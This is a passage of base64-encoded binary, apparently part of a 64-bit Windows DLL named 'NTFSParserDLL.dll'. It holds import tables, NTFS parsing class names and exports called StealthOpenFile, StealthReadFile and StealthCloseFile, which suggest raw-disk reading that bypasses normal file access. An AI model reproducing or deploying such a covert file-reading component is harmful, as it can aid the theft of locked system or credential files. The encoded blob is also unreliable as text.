LABw0CgAcMhjwFuAU0BLAEHABGAoAGGQOABhUDQAYNAwAGHIU4BLAEHAJGQoAGXQMABlkCwAZNAoAGVIV8BPgEdDEeQAAAQAAABzAAABjwQAAAQAAAGfBAAAREAYAEHQHABA0BgAQMgzgxHkAAAEAAAAazAAAO8wAAHcCAQAAAAAACQoEAAo0BgAKMgZwxHkAAAEAAAA9zQAAcM0AAKACAQBwzQAAEREIABE0DgARUg3wC+AJwAdwBmDEeQAAAQAAAFbPAADdzwAAwAIBAAAAAAAAAAAAAQcCAAcBmwABAAAAAQAAAAEAAAAZHggAD5IL8AngB8AFcARgA1ACMOzJAABIAAAAARAGABBkDQAQNAwAEJIMcAEOAgAOMgowAQ8GAA9kEQAPNBAAD9ILcBktDUUfdBIAG2QRABc0EAATQw6SCvAI4AbQBMACUAAA7MkAAEgAAAABDwYAD2QPAA80DgAPsgtwGS0NNR90EAAbZA8AFzQOABMzDnIK8AjgBtAEwAJQAADsyQAAMAAAAAEAAAARFQgAFTQLABUyEfAP4A3AC3AKYMR5AAABAAAAkecAAMPnAADeAgEAAAAAABk2CwAlNHEDJQFmAxDwDuAM0ArACHAHYAZQAADsyQAAIBsAABEVCAAVNAsAFTIR8A/gDcALcApgxHkAAAEAAACt7wAA4e8AAN4CAQAAAAAAARUGABVkEAAVNA4AFbIRcAEEAQAEQgAAERkKABl0DAAZZAsAGTQKABlSFfAT4BHQxHkAAAIAAAD09AAAOPUAAPUCAQAAAAAAwfQAAFH1AAAdAwEAAAAAAAEEAQAEEgAAEQ8GAA9kCQAPNAgAD1ILcMR5AAABAAAA+vUAAGz2AAA2AwEAAAAAAAEQBgAQdAcAEDQGABAyDOARFQgAFXQIABVkBwAVNAYAFTIR8MR5AAABAAAAy/YAAOj2AABPAwEAAAAAAAEZCgAZdA8AGWQOABlUDQAZNAwAGZIV4AEJAQAJYgAAEREGABE0CgARMg3gC3AKYMR5AAABAAAAi/oAAM/6AACAAwEAAAAAABEPBAAPNAcADzILcMR5AAABAAAAv/sAAMn7AABoAwEAAAAAABERBgARNAoAETIN4AtwCmDEeQAAAQAAAKf8AADL/AAAgAMBAAAAAAAZIQUAGGIU4BJwEWAQMAAA1G8AAOCFAQD/////AAAAAP////8AAAAAAQAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAwAAAAEAAAAopwEAAgAAAAIAAAADAAAAAQAAADynAQBAAAAAAAAAAAAAAACgAwEAOAAAAEAAAAAAAAAAAAAAAOMDAQBIAAAAkBUAAP/////+FQAAAAAAACMWAAD/////oAMBAAAAAACtAwEAAQAAALUDAQACAAAA1QMBAAAAAADxAwEAAwAAABkKAgAKMgZQ1G8AAOCFAQAZCwMAC0IHUAYwAADUbwAA4IUBAAEPBgAPZAcADzQGAA8yC3ABCgQACjQIAApSBnABBgIABlICMBEYBAAYNAkAClIGcNRvAAAIhgEA4FIAAP////9cUwAAAAAAAMVTAAD/////ERMCAApyBjDUbwAAMIYBAP////+QBAEAIFIAAP////88UgAAAAAAAMxSAAD/////ERMCAApSBjDUbwAAWIYBAP////+gBAEAgFEAAP////+gUQAAAAAAAAVSAAD/////GTAKACE0FQAQsgzwCuAI0AbABHADYAJQAP4AAICGAQBaAAAA/////2AEAQAAAAAAbAQBAAEAAAB8BAEAkE4AAP////8sTwAAAAAAAFRPAAABAAAA9U8AAAIAAAAOUAAAAQAAAFJRAAD/////ERMCAApSBjDUbwAAqIYBAP////8ABgEA8E0AAP////8QTgAAAAAAAIJOAAD/////GTMKACQ0GQAT8gzwCuAI0AbABHADYAJQAP4AANCGAQByAAAA/////zAEAQAAAAAAPAQBAAEAAABMBAEAAEsAAP////9ESwAAAAAAAHVLAAABAAAAEUwAAAIAAAAqTAAAAQAAAMFNAAD/////AQ0EAA1SCeAHYAZQIQoEAAp0DAAFNAsA8EQAABhFAABsqQEAIQAEAAB0DAAANAsA8EQAABhFAABsqQEAIQAAAPBEAAAYRQAAbKkBABkjBwAVARIACeAH0AXAAzACUAAA7MkAAIAAAAAhGwYAG/QbABN0GgAIZBkAwD8AAGZAAAC4qQEAIQAGAAD0GwAAdBoAAGQZAMA/AABmQAAAuKkBACEAAADAPwAAZkAAALipAQAZHwUADTRQAA0BTAAGcAAA7MkAAFgCAAAZOQkAKDR4ABcBcAAI8AbgBHADYAJQAAAA/gAA+IYBAHIDAAD/////IAUBAP////8sBQEA/////10FAQD/////jgUBAAAAAAC/BQEA/////8sFAQDAOQAA/////5s6AAAAAAAAszoAAP////+4OgAAAQAAACk7AAD/////LjsAAAAAAABZOwAA/////147AAACAAAAyTsAAP/////OOwAAAAAAAPI7AAD/////9zsAAAMAAABpPAAA/////248AAAAAAAAhDwAAAQAAACZPAAAAAAAABQ9AAD/////GT0AAAUAAACJPQAA/////wENBgANVAkADTIJ4AdwBmAhBQIABTQIAKA4AADjOAAAIKsBACEAAgAANAgAoDgAAOM4AAAgqwEAIQAAAKA4AADjOAAAIKsBABEiBgAiNBMAFtIScBFgEFDUbwAAIIcBAP////8QBwEA4DUAAP////9WNgAAAAAAAFg3AAD/////ARQGABRkCAAUNAYAFDIQcAEKBAAKZAkACjIGcCEFAgAFNAYA4DIAAAAzAACwqwEAIQACAAA0BgDgMgAAADMAALCrAQAhAAAA4DIAAAAzAACwqwEAER4IAB50CwAZZAoAFDQIAAZSAuDUbwAASIcBAP////9QBgEA/////1wGAQD/////aAYBAP////90BgEA/////4AGAQD/////jAYBAP////+YBgEA/////6QGAQD/////sAYBAP////+8BgEAgC0AAP/////OLQAAAAAAANEtAAD/////bC4AAAAAAACGLgAA/////5ouAAABAAAAtC4AAP/////ILgAAAgAAAOIuAAD/////9i4AAAMAAAAQLwAA/////7MvAAAEAAAA1C8AAP////9qMAAABQAAAIQwAAD/////mzAAAAYAAADlMAAA/////wIxAAAHAAAAHDEAAP////8wMQAACAAAAEoxAAD/////azEAAAkAAACFMQAA/////xQyAAAAAAAAERMCAApSBjDUbwAAcIcBAP////8QBgEAkCwAAP////+wLAAAAAAAAMQsAAD/////ERgEABg0CQAKUgZw1G8AAJiHAQAQLAAA/////zcsAAAAAAAASywAAP////8RHwoAH1QRABs0EAAPcgvwCeAHwAVwBGDUbwAAwIcBAP/////QBgEAAAAAANwGAQDQKQAA/////+IqAAAAAAAA8yoAAAEAAAAWKwAAAAAAABsrAAD/////ESIKACJkDQAdVAwAGDQLAApSBvAE4AJw1G8AAOiHAQD/////8AYBAAAAAAD8BgEAgCgAAP/////iKAAAAAAAAPMoAAABAAAAFikAAAAAAAAbKQAA/////xETAgAKUgYw1G8AABCIAQDgJwAA/////wAoAAAAAAAAZSgAAP////8REwIAClIGMNRvAAA4iAEA//////AEAQAAAAAA/AQBAPAmAAD/////ZycAAAAAAAB4JwAAAQAAAKMnAAD/////ATQGADQ0BgAKZAcACjIGcBETAgAKkgYw1G8AAGCIAQD/////EAUBAEAjAAD/////tyMAAAAAAABHJAAA/////xETAgAKUgYw1G8AAIiIAQD/////0AQBAAAAAADcBAEAICIAAP////+XIgAAAAAAAKkiAAABAAAAyyIAAP////8ZHwUADTRMAA0BSgAGcAAA7MkAAEACAAAZJwkAFVRPABU0TAAVAUgADuAMcAtgAADsyQAAMAIAABlKCQBKNEsAEmRNABJUTAASAUgAC3AAAOzJAAAwAgAAAYANAIB0DQB1NAwAYtQGAF3EDgALYgfwBeADYAJQAAABEwgAE2QKABNUCQATMg/wDeALcCEFAgAFNAgAcBsAAOAbAACMrwEAIQAAAHAbAADgGwAAjK8BAAEPBgAPZAsADzQKAA9yC3ABHAwAHGQNABxUDAAcNAsAHDIY8BbgFNASwBBwERMCAApSBjDUbwAAsIgBAP////+wBAEAAAAAALwEAQBQFwAA/////6sXAAAAAAAA0RcAAAEAAADsFwAA/////wAAAADYVQAAAAAAAFCwAQAAAAAAAAAAAAAAAAAAAAAAAgAAAGiwAQCQsAEAAAAAAAAAAAAAAAAAAAAAAADAAQAAAAAA/////wAAAAAYAAAASFUAAAAAAAAAAAAAAAAAAAAAAAAowAEAAAAAAP////8AAAAAGAAAAKhwAAAAAAAAAAAAAAAAAAAAAAAAUMABAAAAAAD/////AAAAABgAAACQVQAAAAAAAAAAAAAAAAAAAAAAAOhVAAAAAAAAALEBAAAAAAAAAAAAAAAAAAAAAAADAAAAILEBALiwAQCQsAEAAAAAAAAAAAAAAAAAAAAAAAAAAAB4wAEAAAAAAP////8AAAAAGAAAAGxVAAAAAAAAAAAAAAAAAAAAAAAA6FUAAAAAAABosQEAAAAAAAAAAAAAAAAAAAAAAAMAAACIsQEAuLABAJCwAQAAAAAAAAAAAAAAAAAAAAAAAAAAAKDAAQAAAAAA/////wAAAAAYAAAAtFUAAAAAAAAAAAAAAAAAAAAAAACstQAAAAAAANCxAQAAAAAAAAAAAAAAAAAAAAAAAgAAAOixAQCQsAEAAAAAAAAAAAAAAAAAAAAAAGjMAQAAAAAA/////wAAAAAYAAAAiLUAAAAAAAAAAAAAOLIBAAAAAAAAAAAA3rQBAAAQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABotAEAAAAAAH60AQAAAAAAkLQBAAAAAACgtAEAAAAAAKy0AQAAAAAAwrQBAAAAAADQtAEAAAAAAOy0AQAAAAAA/LQBAAAAAAAMtQEAAAAAACC1AQAAAAAAPLUBAAAAAABOtQEAAAAAAGS1AQAAAAAAeLUBAAAAAACKtQEAAAAAAKS1AQAAAAAAsrUBAAAAAADAtQEAAAAAANa1AQAAAAAA6LUBAAAAAAD0tQEAAAAAAPy1AQAAAAAADLYBAAAAAAAYtgEAAAAAAC62AQAAAAAAOrYBAAAAAABGtgEAAAAAAFi2AQAAAAAAYrYBAAAAAAButgEAAAAAAHq2AQAAAAAAjLYBAAAAAACctgEAAAAAALC2AQAAAAAAxLYBAAAAAADgtgEAAAAAAP62AQAAAAAAJrcBAAAAAAA6twEAAAAAAE63AQAAAAAAWrcBAAAAAABotwEAAAAAAHa3AQAAAAAAgLcBAAAAAACStwEAAAAAAKa3AQAAAAAAuLcBAAAAAADGtwEAAAAAAN63AQAAAAAA9LcBAAAAAAAOuAEAAAAAACS4AQAAAAAAPrgBAAAAAABYuAEAAAAAAHK4AQAAAAAAirgBAAAAAACiuAEAAAAAALS4AQAAAAAAwrgBAAAAAADYuAEAAAAAAOi4AQAAAAAA+LgBAAAAAAAIuQEAAAAAABq5AQAAAAAALrkBAAAAAAA+uQEAAAAAAE65AQAAAAAAYrkBAAAAAAAAAAAAAAAAACAFV2lkZUNoYXJUb011bHRpQnl0ZQB0BFNldEZpbGVQb2ludGVyAAAIAkdldExhc3RFcnJvcgAAwwNSZWFkRmlsZQAAaQNNdWx0aUJ5dGVUb1dpZGVDaGFyAFIAQ2xvc2VIYW5kbGUAiABDcmVhdGVGaWxlQQBLRVJORUwzMi5kbGwAAO4ARW5jb2RlUG9pbnRlcgDLAERlY29kZVBvaW50ZXIAAgNJc0RlYnVnZ2VyUHJlc2VudAAGA0lzUHJvY2Vzc29yRmVhdHVyZVByZXNlbnQAjAFHZXRDb21tYW5kTGluZUEAywFHZXRDdXJyZW50VGhyZWFkSWQAACEEUnRsUGNUb0ZpbGVIZWFkZXIAtANSYWlzZUV4Y2VwdGlvbgAAHwRSdGxMb29rdXBGdW5jdGlvbkVudHJ5AAAlBFJ0bFVud2luZEV4AB8BRXhpdFByb2Nlc3MAHQJHZXRNb2R1bGVIYW5kbGVFeFcAAEwCR2V0UHJvY0FkZHJlc3MAANwCSGVhcFNpemUAAMAEU2xlZXAAawJHZXRTdGRIYW5kbGUAADQFV3JpdGVGaWxlABoCR2V0TW9kdWxlRmlsZU5hbWVXAADXAkhlYXBGcmVlAADTAkhlYXBBbGxvYwAMA0lzVmFsaWRDb2RlUGFnZQBuAUdldEFDUAAAPgJHZXRPRU1DUAAAeAFHZXRDUEluZm8AcAJHZXRTdHJpbmdUeXBlVwAAgARTZXRMYXN0RXJyb3IAABgEUnRsQ2FwdHVyZUNvbnRleHQAJgRSdGxWaXJ0dWFsVW53aW5kAADiBFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAswRTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIA6wJJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uQW5kU3BpbkNvdW50AMYBR2V0Q3VycmVudFByb2Nlc3MAzgRUZXJtaW5hdGVQcm9jZXNzAADTBFRsc0FsbG9jAADVBFRsc0dldFZhbHVlANYEVGxzU2V0VmFsdWUA1ARUbHNGcmVlAGoCR2V0U3RhcnR1cEluZm9XAB4CR2V0TW9kdWxlSGFuZGxlVwAAUQJHZXRQcm9jZXNzSGVhcAAA+gFHZXRGaWxlVHlwZQDSAERlbGV0ZUNyaXRpY2FsU2VjdGlvbgAZAkdldE1vZHVsZUZpbGVOYW1lQQAAqQNRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgDHAUdldEN1cnJlbnRQcm9jZXNzSWQAgAJHZXRTeXN0ZW1UaW1lQXNGaWxlVGltZQDhAUdldEVudmlyb25tZW50U3RyaW5nc1cAAGcBRnJlZUVudmlyb25tZW50U3RyaW5nc1cA8gBFbnRlckN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zdGRAQAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC48wCAAQAAALjzAIABAAAAuPMAgAEAAAC48wCAAQAAALjzAIABAAAAuPMAgAEAAAC48wCAAQAAALjzAIABAAAAuPMAgAEAAAC48wCAAQAAAC4AAAAuAAAAMM8BgAEAAAAgzwGAAQAAAKzrAYABAAAArOsBgAEAAACs6wGAAQAAAKzrAYABAAAArOsBgAEAAACs6wGAAQAAAKzrAYABAAAArOsBgAEAAACs6wGAAQAAAH9/f39/f39/JM8BgAEAAACw6wGAAQAAALDrAYABAAAAsOsBgAEAAACw6wGAAQAAALDrAYABAAAAsOsBgAEAAACw6wGAAQAAAMB6AYABAAAAwnwBgAEAAAAAAAAAAAAAAADsAYABAAAAAAAAAAAAAAAA7AGAAQAAAAEBAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP7/////////SCcBgAEAAAAAAAAAAAAAAC4/QVZfSW9zdHJlYW1fZXJyb3JfY2F0ZWdvcnlAc3RkQEAAAAAAAABIJwGAAQAAAAAAAAAAAAAALj9BVl9TeXN0ZW1fZXJyb3JfY2F0ZWdvcnlAc3RkQEAAAAAAAAAAAEgnAYABAAAAAAAAAAAAAAAuP0FWZXJyb3JfY2F0ZWdvcnlAc3RkQEAAAAAAAAAAAEgnAYABAAAAAAAAAAAAAAAuP0FWX0dlbmVyaWNfZXJyb3JfY2F0ZWdvcnlAc3RkQEAAAAAAAAAASCcBgAEAAAAAAAAAAAAAAC4/QVY/JENBdHRyX0JpdG1hcEBWQ0F0dHJSZXNpZGVudEBAQEAAAABIJwGAAQAAAAAAAAAAAAAALj9BVj8kQ0F0dHJfQml0bWFwQFZDQXR0ck5vblJlc2lkZW50QEBAQAAAAAAAAAAASCcBgAEAAAAAAAAAAAAAAC4/QVY/JENBdHRyX0RhdGFAVkNBdHRyUmVzaWRlbnRAQEBAAAAAAABIJwGAAQAAAAAAAAAAAAAALj9BVj8kQ0F0dHJfRGF0YUBWQ0F0dHJOb25SZXNpZGVudEBAQEAAAEgnAYABAAAAAAAAAAAAAAAuP0FWPyRDQXR0cl9BdHRyTGlzdEBWQ0F0dHJSZXNpZGVudEBAQEAASCcBgAEAAAAAAAAAAAAAAC4/QVY/JENBdHRyX0F0dHJMaXN0QFZDQXR0ck5vblJlc2lkZW50QEBAQAAAAAAAAEgnAYABAAAAAAAAAAAAAAAuP0FWPyRDU0xpc3RAVkNGaWxlUmVjb3JkQEBAQAAAAEgnAYABAAAAAAAAAAAAAAAuP0FWQ0F0dHJfSW5kZXhBbGxvY0BAAABIJwGAAQAAAAAAAAAAAAAALj9BVkNBdHRyX0luZGV4Um9vdEBAAAAASCcBgAEAAAAAAAAAAAAAAC4/QVZDSW5kZXhCbG9ja0BAAAAAAAAAAEgnAYABAAAAAAAAAAAAAAAuP0FWQ0F0dHJfVm9sTmFtZUBAAAAAAABIJwGAAQAAAAAAAAAAAAAALj9BVkNBdHRyX1ZvbEluZm9AQAAAAAAASCcBgAEAAAAAAAAAAAAAAC4/QVZDQXR0cl9GaWxlTmFtZUBAAAAAAEgnAYABAAAAAAAAAAAAAAAuP0FWQ0F0dHJfU3RkSW5mb0BAAAAAAABIJwGAAQAAAAAAAAAAAAAALj9BVkNBdHRyTm9uUmVzaWRlbnRAQAAASCcBgAEAAAAAAAAAAAAAAC4/QVZDQXR0clJlc2lkZW50QEAAAAAAAEgnAYABAAAAAAAAAAAAAAAuP0FWPyRDU0xpc3RAVkNJbmRleEVudHJ5QEBAQAAAAEgnAYABAAAAAAAAAAAAAAAuP0FWPyRDU0xpc3RAVXRhZ0RhdGFSdW5fRW